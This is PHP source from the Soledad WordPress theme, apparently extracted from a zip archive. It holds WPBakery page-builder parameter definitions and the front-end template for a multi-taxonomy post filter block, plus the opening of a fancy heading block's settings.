				'Time Ago' => 'timeago',
				'Normal'   => 'normal',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Post Format Icons', 'soledad' ),
			'param_name'       => 'show_formaticon',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Review Scores from Penci Review plugin', 'soledad' ),
			'param_name'       => 'show_reviewpie',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show The Post Excerpt?', 'soledad' ),
			'param_name'       => 'show_excerpt',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Custom Excerpt Length', 'soledad' ),
			'param_name'       => 'excerpt_length',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Custom Excerpt Align', 'soledad' ),
			'param_name'       => 'excerpt_align',
			'value'            => array(
				'Left'    => 'left',
				'Center'  => 'center',
				'Right'   => 'right',
				'Justify' => 'justify',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Read More Button?', 'soledad' ),
			'param_name'       => 'show_readmore',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Read More Button Style', 'soledad' ),
			'param_name'       => 'rmstyle',
			'value'            => array(
				'Default'   => 'filled',
				'Bordered'  => 'bordered',
				'Underline' => 'underline',
				'Text Only' => 'text',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Custom Read More Align', 'soledad' ),
			'param_name'       => 'rm_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Excerpt & Read More Position', 'soledad' ),
			'param_name'       => 'excerpt_pos',
			'value'            => array(
				'Below of Image' => 'below',
				'Side of Image'  => 'side',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		// Post Settings
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_typo_heading',
			'heading'          => esc_html__( 'Showing on Mobile', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Categories on Mobile?', 'soledad' ),
			'param_name'       => 'hide_cat_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Meta on Mobile?', 'soledad' ),
			'param_name'       => 'hide_meta_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Excerpt on Mobile', 'soledad' ),
			'param_name'       => 'hide_excerpt_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Read More Button on Mobile', 'soledad' ),
			'param_name'       => 'hide_rm_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		// Carousel Settings
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_crs_heading',
			'heading'          => esc_html__( 'Carousel Settings', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Autoplay', 'soledad' ),
			'param_name'       => 'autoplay',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Carousel Loop', 'soledad' ),
			'param_name'       => 'loop',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Carousel Auto Time ( 1000 = 1s )', 'soledad' ),
			'param_name'       => 'auto_time',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Carousel Speed ( 1000 = 1s )', 'soledad' ),
			'param_name'       => 'speed',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show next/prev buttons', 'soledad' ),
			'param_name'       => 'shownav',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show dots navigation', 'soledad' ),
			'param_name'       => 'showdots',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),

		// Post Settings
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_heading_1',
			'heading'          => esc_html__( 'General Style', 'soledad' ),
			'value'            => '',
			'group'            => 'Typo & Color',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Add Vertical Border Between Post Items', 'soledad' ),
			'param_name'       => 'ver_border',
			'group'            => 'Typo & Color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),

		// color
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
			'param_name'       => 'title_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Post Title Font Size', 'soledad' ),
			'param_name'       => 'title_fize',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
			'param_name'       => 'title_hcolor',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Post Date Font Size', 'soledad' ),
			'param_name'       => 'date_fize',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Date Color', 'soledad' ),
			'param_name'       => 'date_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Post Meta Font Size', 'soledad' ),
			'param_name'       => 'meta_fize',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
			'param_name'       => 'meta_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Color', 'soledad' ),
			'param_name'       => 'link_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Hover Color', 'soledad' ),
			'param_name'       => 'link_hcolor',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Post Excerpt Font Size', 'soledad' ),
			'param_name'       => 'excerpt_fize',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Excerpt Color', 'soledad' ),
			'param_name'       => 'excerpt_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),

	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_filter(), Penci_Vc_Params_Helper::params_custom_meta_fields(), Penci_Vc_Params_Helper::params_heading_filter_style(), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::extra_params(), Penci_Vc_Params_Helper::params_bookmark_icon() )
) );
PK     0w\<t\  t\  A  js_composer/shortcodes/multi_taxonomies_posts_filter/frontend.phpnu [        <?php
$settings             = vc_map_get_attributes( $this->getShortcode(), $atts );
$dformat              = $settings['dformat'] ? $settings['dformat'] : '';
$date_pos             = $settings['date_pos'] ? $settings['date_pos'] : 'left';
$column               = $settings['column'] ? $settings['column'] : '1';
$tab_column           = $settings['tab_column'] ? $settings['tab_column'] : '2';
$mb_column            = $settings['mb_column'] ? $settings['mb_column'] : '1';
$imgpos               = $settings['imgpos'] ? $settings['imgpos'] : 'left';
$thumb_size_imgtop    = 'top' == $imgpos ? 'penci-thumb' : 'penci-thumb-small';
$thumb_size           = $settings['thumb_size'] ? $settings['thumb_size'] : $thumb_size_imgtop;
$mthumb_size          = $settings['mthumb_size'] ? $settings['mthumb_size'] : $thumb_size_imgtop;
$post_meta            = $settings['post_meta'] ? explode( ',', $settings['post_meta'] ) : array();
$primary_cat          = $settings['primary_cat'] ? $settings['primary_cat'] : '';
$title_length         = $settings['title_length'] ? $settings['title_length'] : '';
$excerpt_pos          = $settings['excerpt_pos'] ? $settings['excerpt_pos'] : 'below';
$paging               = $settings['paging'] ? $settings['paging'] : 'none';
$paging_align         = $settings['paging_align'] ? $settings['paging_align'] : 'align-center';
$archive_buider_check = isset( $settings['posts_post_type'] ) ? $settings['posts_post_type'] : '';
if ( 'top' == $imgpos ) {
	$excerpt_pos = 'side';
}
$rmstyle        = $settings['rmstyle'] ? $settings['rmstyle'] : 'filled';
$excerpt_length = $settings['excerpt_length'] ? $settings['excerpt_length'] : 15;

$thumbnail = $thumb_size;
if ( penci_is_mobile() ) {
	$thumbnail = $mthumb_size;
}

$inner_wrapper_class = 'pcsl-inner penci-clearfix';
$inner_wrapper_class .= ' pcsl-grid';
$inner_wrapper_class .= ' pcsl-imgpos-' . $imgpos;
$inner_wrapper_class .= ' pcsl-col-' . $column;
$inner_wrapper_class .= ' pcsl-tabcol-' . $tab_column;
$inner_wrapper_class .= ' pcsl-mobcol-' . $mb_column;
if ( 'yes' == $settings['nocrop'] ) {
	$inner_wrapper_class .= ' pcsl-nocrop';
}
if ( 'yes' == $settings['hide_cat_mobile'] ) {
	$inner_wrapper_class .= ' pcsl-cat-mhide';
}
if ( 'yes' == $settings['hide_meta_mobile'] ) {
	$inner_wrapper_class .= ' pcsl-meta-mhide';
}
if ( 'yes' == $settings['hide_excerpt_mobile'] ) {
	$inner_wrapper_class .= ' pcsl-excerpt-mhide';
}
if ( 'yes' == $settings['hide_rm_mobile'] ) {
	$inner_wrapper_class .= ' pcsl-rm-mhide';
}
if ( 'yes' == $settings['imgtop_mobile'] && in_array( $imgpos, array( 'left', 'right' ) ) ) {
	$inner_wrapper_class .= ' pcsl-imgtopmobile';
}
if ( 'yes' == $settings['ver_border'] ) {
	$inner_wrapper_class .= ' pcsl-verbd';
}

$tax      = isset( $settings['tax'] ) ? $settings['tax'] : 'category';
$order    = isset( $settings['order'] ) ? $settings['order'] : 'term_id';
$orderby  = isset( $settings['orderby'] ) ? $settings['orderby'] : 'DESC';
$maxitems = isset( $settings['maxitems'] ) ? $settings['maxitems'] : 10;

$term_args = [
	'taxonomy' => $tax,
	'order'    => $order,
	'orderby'  => $orderby,
	'number'   => $maxitems,
];

if ( isset( $settings['taxonomies_ex'] ) && $settings['taxonomies_ex'] ) {
	$term_args['exclude'] = explode(',',$settings['taxonomies_ex']);
}

if ( isset( $settings['taxonomies_in'] ) && $settings['taxonomies_in'] ) {
	$term_args['include'] = explode(',',$settings['taxonomies_in']);
}

// posts args

$post_args = [
	'orderby'        => isset( $settings['post_orderby'] ) ? $settings['post_orderby'] : '',
	'order'          => $settings['post_order'],
	'posts_per_page' => $settings['posts_per_page'],
];

if ( isset( $settings['taxonomies_ex'] ) && $settings['taxonomies_ex'] ) {
	$post_args['tax_query'][] = [
		'operator' => 'NOT IN',
		'taxonomy' => $tax,
		'terms'    => explode(',',$settings['taxonomies_ex']),
	];
}

if ( isset( $settings['taxonomies_in'] ) && $settings['taxonomies_in'] ) {
	$post_args['tax_query'][] = [
		'operator' => 'IN',
		'taxonomy' => $tax,
		'terms'    => explode(',',$settings['taxonomies_in']),
	];
}

if ( $settings['taxonomies_ex'] || $settings['taxonomies_in'] ) {
	$post_args['tax_query']['relation'] = 'AND';
}

$query_smalllist = new WP_Query( $post_args );

$data_settings = [
	'hide_thumb'      => $settings['hide_thumb'],
	'show_reviewpie'  => $settings['show_reviewpie'],
	'show_formaticon' => $settings['show_formaticon'],
	'disable_lazy'    => $settings['disable_lazy'],
	'nocrop'          => $settings['nocrop'],
	'post_meta'       => $post_meta,
	'excerpt_length'  => $excerpt_length,
	'title_length'    => $title_length,
	'rmstyle'         => $rmstyle,
	'dformat'         => $dformat,
	'excerpt_pos'     => $excerpt_pos,
	'primary_cat'     => $primary_cat,
	'thumbnail'       => $thumbnail,
	'column'          => $column,
	'show_excerpt'    => $settings['show_excerpt'],
	'show_readmore'   => $settings['show_readmore'],
];

$terms_list   = get_terms( $term_args );
$count_html   = '';
$sticky_class = $settings['tax_sticky'] ? 'penci-mtp-sticky' : 'penci-mtp-non-sticky';
wp_enqueue_script( 'mtp-filters' );

$block_id = Penci_Vc_Helper::get_unique_id_block( 'small_list' );
?>
    <div id="<?php echo $block_id; ?>" class="penci-wrapper-tax-posts-filters">
		<?php Penci_Vc_Helper::markup_block_title( $settings ); ?>
		<?php
		if ( ! $query_smalllist->have_posts() ) {
			echo '<p>' . penci_get_setting( 'penci_ajaxsearch_no_post' ) . '</p>';
		}

		?>

        <div class="penci-mtp-filters-wrapper <?php echo $sticky_class; ?> pctp-<?php echo $settings['tax_position']; ?>"
             data-settings='<?php echo json_encode( $data_settings ); ?>'
             data-tax="<?php echo $tax; ?>" data-request-id="<?php echo wp_create_nonce( 'penci-mtp-filters' ); ?>"
             data-paged="1" data-filter-terms=""
             data-query='<?php echo json_encode( $post_args ); ?>'>
            <div class="penci-mtp-filters-terms">
                <div class="theiaStickySidebar">
                    <a href="#" aria-label="<?php echo penci_get_setting( 'penci_trans_all' ); ?>"
                       class="penci-mtp-filters-mobile">
                        <span><?php echo penci_get_setting( 'penci_trans_all' ); ?></span>
                    </a>
                    <a href="#" aria-label="<?php echo penci_get_setting( 'penci_trans_close' ); ?>"
                       class="penci-mtp-filters-close">
                        <span><?php echo penci_get_setting( 'penci_trans_close' ); ?></span>
                    </a>
                    <ul class="penci-mtp-filters-main">
                        <li>
                            <a class="pcmtp-f-term" data-id="all" href="#">
								<?php
								echo penci_get_setting( 'penci_trans_all' );
								if ( $settings['count'] == 'yes' ) {
									echo '<span class="count">' . $query_smalllist->found_posts . '</span>';
								}
								?>
                            </a>
                        </li>
						<?php
						foreach ( $terms_list as $order => $term_data ) {
							if ( $settings['count'] == 'yes' ) {
								$count_html = '<span class="count">' . $term_data->count . '</span>';
							}
							echo '<li><a class="pcmtp-f-term" data-id="' . $term_data->term_id . '" href="#">' . $term_data->name . $count_html . '</a></li>';
						}
						?>
                    </ul>
                </div>
            </div>
            <div class="penci-mtp-filters-posts">
                <div class="theiaStickySidebar">

                    <div class="penci-smalllist-wrapper">
						<?php
						if ( $query_smalllist->have_posts() ) {
							?>
                            <div class="penci-smalllist pcsl-wrapper pwsl-id-default">
                                <div class="<?php echo $inner_wrapper_class; ?>">

									<?php
									$item_class = ' normal-item';
									while ( $query_smalllist->have_posts() ) : $query_smalllist->the_post(); ?>
                                        <div class="pcsl-item<?php if ( 'yes' == $settings['hide_thumb'] || ! has_post_thumbnail() ) {
											echo ' pcsl-nothumb';
										}
										echo $item_class; ?>">
                                            <div class="pcsl-itemin">
                                                <div class="pcsl-iteminer">


													<?php if ( 'yes' != $settings['hide_thumb'] && has_post_thumbnail() ) { ?>
                                                        <div class="pcsl-thumb">
															<?php
															do_action( 'penci_bookmark_post', get_the_ID(), 'small' );
															/* Display Review Piechart  */
															if ( 'yes' == $settings['show_reviewpie'] && function_exists( 'penci_display_piechart_review_html' ) ) {
																penci_display_piechart_review_html( get_the_ID(), 'small' );
															}
															?>
															<?php if ( 'yes' == $settings['show_formaticon'] ): ?>
																<?php if ( has_post_format( 'video' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
																<?php endif; ?>
																<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
																<?php endif; ?>
																<?php if ( has_post_format( 'audio' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
																<?php endif; ?>
																<?php if ( has_post_format( 'link' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
																<?php endif; ?>
																<?php if ( has_post_format( 'quote' ) ) : ?>
                                                                    <a href="<?php the_permalink() ?>"
                                                                       class="icon-post-format"
                                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
																<?php endif; ?>
															<?php endif; ?>
															<?php if ( 'yes' != $settings['disable_lazy'] ) { ?>
                                                                <a href="<?php the_permalink(); ?>"
                                                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                                   class="penci-image-holder penci-lazy"<?php if ( 'yes' == $settings['nocrop'] ) {
																	echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%"';
																} ?>
                                                                   data-bgset="<?php echo penci_get_featured_image_size( get_the_ID(), $thumbnail ); ?>">
                                                                </a>
															<?php } else { ?>
                                                                <a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                                   href="<?php the_permalink(); ?>"
                                                                   class="penci-image-holder"
                                                                   style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbnail ); ?>');<?php if ( 'yes' == $settings['nocrop'] ) {
																	   echo 'padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%';
																   } ?>">
                                                                </a>
															<?php } ?>
                                                        </div>
													<?php } ?>
                                                    <div class="pcsl-content">
														<?php if ( in_array( 'cat', $post_meta ) ) : ?>
                                                            <div class="cat pcsl-cat">
																<?php penci_category( '', $primary_cat ); ?>
                                                            </div>
														<?php endif; ?>

														<?php if ( in_array( 'title', $post_meta ) ) : ?>
                                                            <div class="pcsl-title">
                                                                <a href="<?php the_permalink(); ?>"<?php if ( $title_length ): echo ' title="' . wp_strip_all_tags( get_the_title() ) . '"'; endif; ?>><?php if ( ! $title_length ) {
																		the_title();
																	} else {
																		echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
																	} ?></a>
                                                            </div>
														<?php endif; ?>

														<?php if ( $settings['cspost_enable'] || ( count( array_intersect( array(
																	'author',
																	'date',
																	'comment',
																	'views',
																	'reading'
																), $post_meta ) ) > 0 ) || ( count( array_intersect( array(
																	'author',
																	'comment',
																	'views',
																	'reading'
																), $post_meta ) ) > 0 ) ) { ?>

															<?php if ( $column == 1 ) { ?>
                                                                <div class="grid-post-box-meta pcsl-meta pcmtf-mt-alt">
																	<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                                                        <span class="sl-date"><?php penci_soledad_time_link( null, $dformat ); ?></span>
																	<?php endif; ?>
                                                                </div>
															<?php } ?>
                                                            <div class="grid-post-box-meta pcsl-meta">
																<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                                                    <span class="sl-date-author author-italic">
																<?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                                class="url fn n"
                                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
																</span>
																<?php endif; ?>
																<?php if ( in_array( 'date', $post_meta ) && $column > 1 ) : ?>
                                                                    <span class="sl-date"><?php penci_soledad_time_link( null, $dformat ); ?></span>
																<?php endif; ?>
																<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                                                    <span class="sl-comment">
															<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
														</span>
																<?php endif; ?>
																<?php
																if ( in_array( 'views', $post_meta ) ) {
																	echo '<span class="sl-views">';
																	echo penci_get_post_views( get_the_ID() );
																	echo ' ' . penci_get_setting( 'penci_trans_countviews' );
																	echo '</span>';
																}
																?>
																<?php
																$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
																if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                                                    <span class="sl-readtime"><?php penci_reading_time(); ?></span>
																<?php endif; ?>
																<?php echo penci_show_custom_meta_fields( [
																	'validator' => $settings['cspost_enable'],
																	'keys'      => $settings['cspost_cpost_meta'],
																	'acf'       => $settings['cspost_cpost_acf_meta'],
																	'label'     => $settings['cspost_cpost_meta_label'],
																	'divider'   => $settings['cspost_cpost_meta_divider'],
																] ); ?>
																<?php do_action( 'penci_extra_meta' ); ?>
                                                            </div>
														<?php } ?>

														<?php if ( 'yes' == $settings['show_excerpt'] && 'side' == $excerpt_pos ) { ?>
                                                            <div class="pcbg-pexcerpt pcsl-pexcerpt">
																<?php penci_the_excerpt( $excerpt_length ); ?>
                                                            </div>
														<?php } ?>
														<?php if ( 'yes' == $settings['show_readmore'] && 'side' == $excerpt_pos ) { ?>
                                                            <div class="pcsl-readmore">
                                                                <a href="<?php the_permalink(); ?>"
                                                                   class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
																	<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                                                </a>
                                                            </div>
														<?php } ?>
                                                    </div>

													<?php if ( ( 'yes' == $settings['show_excerpt'] || 'yes' == $settings['show_readmore'] ) && 'below' == $excerpt_pos ) { ?>
                                                        <div class="pcsl-flex-full">
															<?php if ( 'yes' == $settings['show_excerpt'] ) { ?>
                                                                <div class="pcbg-pexcerpt pcsl-pexcerpt">
																	<?php penci_the_excerpt( $excerpt_length ); ?>
                                                                </div>
															<?php } ?>
															<?php if ( 'yes' == $settings['show_readmore'] ) { ?>
                                                                <div class="pcsl-readmore">
                                                                    <a href="<?php the_permalink(); ?>"
                                                                       class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
																		<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                                                    </a>
                                                                </div>
															<?php } ?>
                                                        </div>
													<?php } ?>
                                                </div>
                                            </div>
                                        </div>
									<?php endwhile;
									wp_reset_postdata();
									echo penci_get_html_animation_loading( $settings['biggrid_ajax_loading_style'] );
									?>
                                </div>

								<?php
								if ( 'loadmore' == $paging || 'scroll' == $paging ) {
									$button_class = ' penci-ajax-more penci-mtpf-more-click';
									if ( 'scroll' == $paging ):
										$button_class = ' penci-ajax-more penci-mtpf-more-scroll';
									endif;
									?>
                                    <div class="pcbg-paging penci-pagination <?php echo 'pcbg-paging-' . $paging_align . $button_class; ?>">
                                        <a class="penci-ajax-more-button" href="#" aria-label="More Posts"
                                           data-more="<?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?>"
                                           data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>">
                                            <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span>
                                            <span class="ajaxdot"></span>
											<?php penci_fawesome_icon( 'fas fa-sync' ); ?>
                                        </a>
                                    </div>
								<?php } ?>


                            </div>
							<?php
						} /* End check if query exists posts */
						?>
                    </div>
                </div>
            </div>
        </div>
    </div>
<?php
wp_reset_postdata();

$block_id_css  = '#' . $block_id;
$block_id_css2 = '#' . $block_id;
$css_custom    = Penci_Vc_Helper::get_heading_block_css( $block_id_css, $settings );

if ( $settings['title_color'] ) {
	$css_custom .= $block_id_css2 . ' .pcsl-content .pcsl-title a{ color: ' . esc_attr( $settings['title_color'] ) . '; }';
}
if ( $settings['title_hcolor'] ) {
	$css_custom .= $block_id_css2 . ' .pcsl-content .pcsl-title a:hover{ color: ' . esc_attr( $settings['title_hcolor'] ) . '; }';
}
if ( $settings['date_color'] ) {
	$css_custom .= $block_id_css2 . ' .pcsl-hdate .pcsl-date span{ color: ' . esc_attr( $settings['date_color'] ) . '; }';
}
if ( $settings['meta_color'] ) {
	$css_custom .= $block_id_css2 . ' .grid-post-box-meta span{ color: ' . esc_attr( $settings['ppcount_color'] ) . '; }';
}
if ( $settings['link_color'] ) {
	$css_custom .= $block_id_css2 . ' .grid-post-box-meta span a{ color: ' . esc_attr( $settings['links_color'] ) . '; }';
}
if ( $settings['link_hcolor'] ) {
	$css_custom .= $block_id_css2 . ' .grid-post-box-meta span a:hover{ color: ' . esc_attr( $settings['links_hcolor'] ) . '; }';
}
if ( $settings['excerpt_color'] ) {
	$css_custom .= $block_id_css2 . ' .pcbg-pexcerpt, ' . $block_id_css . ' .pcbg-pexcerpt p{ color: ' . esc_attr( $settings['excerpt_color'] ) . '; }';
}
if ( $settings['title_fize'] ) {
	$css_custom .= penci_extract_responsive_fsize( $block_id_css . ' .pcbg-pexcerpt, ' . $block_id_css . ' .pcbg-pexcerpt p', 'font-size', $settings['title_fize'] );
}
if ( $settings['meta_fize'] ) {
	$css_custom .= penci_extract_responsive_fsize( $block_id_css . ' .grid-post-box-meta span', 'font-size', $settings['meta_fize'] );
}
if ( $settings['date_fize'] ) {
	$css_custom .= penci_extract_responsive_fsize( $block_id_css . ' .pcsl-hdate .pcsl-date span', 'font-size', $settings['meta_fize'] );
}

if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $block_id_css, $settings['responsive_spacing'] );
}

$css_custom .= Penci_Vc_Helper::get_bookmark_icon_css( $block_id_css, $atts );

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\KcQ9  Q9  1  js_composer/shortcodes/fancy_heading/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_fancy_heading",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/fancy_heading/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Fancy Heading', 'soledad' ),
	'description'   => 'Fancy Heading Block',
	'controls'      => 'full',
	'params'        => array(
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Text Align', 'soledad' ),
			'param_name' => '_text_align',
			'std'        => 'center',
			'value'      => array(
				esc_html__( 'Left', 'soledad' )   => 'left',
				esc_html__( 'Center', 'soledad' ) => 'center',
				esc_html__( 'Right', 'soledad' )  => 'right',
			),
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Subtitle:', 'soledad' ),
			'param_name' => 'p_subtitle',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Subtitle tag', 'soledad' ),
			'param_name' => 'subtitle_tag',
			'std'        => 'div',
			'value'      => array(
				'h1'   => 'h1',
				'h2'   => 'h2',
				'h3'   => 'h3',
				'h4'   => 'h4',
				'h5'   => 'h5',
				'h6'   => 'h6',
				'span' => 'span',
				'p'    => 'p',
				'div'  => 'div',
			),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Subtitle position', 'soledad' ),
			'param_name' => 'subtitle_pos',
			'std'        => 'above',
			'value'      => array(
				esc_html__( 'Above the title', 'soledad' )     => 'above',
				esc_html__( 'Below the title', 'soledad' )     => 'below',
				esc_html__( 'Below the separator', 'soledad' ) => 'belowline',
			),
		),
		array(
